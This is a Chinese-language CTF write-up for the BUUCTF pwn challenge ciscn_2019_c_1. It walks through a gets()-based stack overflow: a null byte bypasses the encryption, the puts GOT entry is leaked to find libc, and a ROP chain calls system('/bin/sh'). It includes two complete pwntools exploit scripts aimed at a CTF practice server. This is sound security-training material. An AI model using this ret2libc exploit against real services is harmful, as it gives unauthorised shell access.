逆向
int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h] BYREF
__int16 v3; // [rsp+30h] [rbp-20h]
memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) )
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xFu;
}
else
{
s[x] ^= 0xEu;
}
}
else
{
s[x] ^= 0xDu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}
攻击思路
(1)由于存在 v0 >= strlen(s)的判断,而strlen是以s中\x00为判断依据判断s字符串长度,因此可以在s首部存入\x00避开加密程序
(2)【注意】找到execve(“/bin/sh”) 在libc中的偏移量后需要通过泄露puts地址来计算libc的基地址,puts的真实地址存在puts@got表中,函数在libc文件中。可以通过puts函数泄露puts的地址然后计算加载的libc文件的基地址,最后计算execve(“/bin/sh”)的实际地址。
加载:动态链接文件加载时有时候会重新改变基地址但是偏移(8位地址的后4位是一样的)是不变的(寻址方式是基地址+偏移量)
(3)ROPgadget --binary ./ciscn_2019_c_1
pop rdi ret的地址为0x400c83
ret的地址为0x4006b9
(4)gdb ciscn_2019_c_1
main函数的地址0x400b28
(5)通过溢出输出puts函数的真实地址
encrypt_addr |
---|
puts_plt |
puts_got |
pop_rdi_ret |
padding(0x58B) |
puts_plt()调用puts函数打印出puts_got地址
from pwn import *
from LibcSearcher import *
p=remote('node4.buuoj.cn',27055)
elf=ELF('./ciscn_2019_c_1')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
pop_addr=0x0000000000400c83
encrypt_addr=elf.symbols['encrypt']
p.sendlineafter("Input your choice!",b'1')
payload=b'\x00'+b'a'*0x57+p64(pop_addr)+p64(puts_got)+p64(puts_plt)+p64(encrypt_addr)
p.sendlineafter("Input your Plaintext to be encrypted",payload)
p.recvline()
p.recvline()
put_addr=u64(p.recvuntil('\n').ljust(8,b'\x00'))
print(hex(put_addr))
(6)通过libc找到"/bin/sh"和system()并实施攻击
首先填入0x58字节的填充模块,再填入ret和pop rdi的地址,再填入参数"\bin\sh"和system()函数地址
脚本攻击
from pwn import *
from LibcSearcher import *
p=remote('node4.buuoj.cn',29076)
elf=ELF('./ciscn_2019_c_1')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
pop_addr=0x0000000000400c83
ret_addr=0x4006b9
encrypt_addr=elf.symbols['encrypt']
p.sendlineafter("Input your choice!",b'1')
payload=b'\x00'+b'a'*0x57+p64(pop_addr)+p64(puts_got)+p64(puts_plt)+p64(encrypt_addr)
p.sendlineafter("Input your Plaintext to be encrypted",payload)
put_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print(hex(put_addr))
system=put_addr-0x31580
binsh=put_addr+0x1334da
p.recvuntil('encrypted\n')
payload=b'\x00'+b'a'*0x57+p64(ret_addr)+p64(pop_addr)+p64(binsh)+p64(system)+p64(encrypt_addr)
p.sendline(payload)
p.interactive()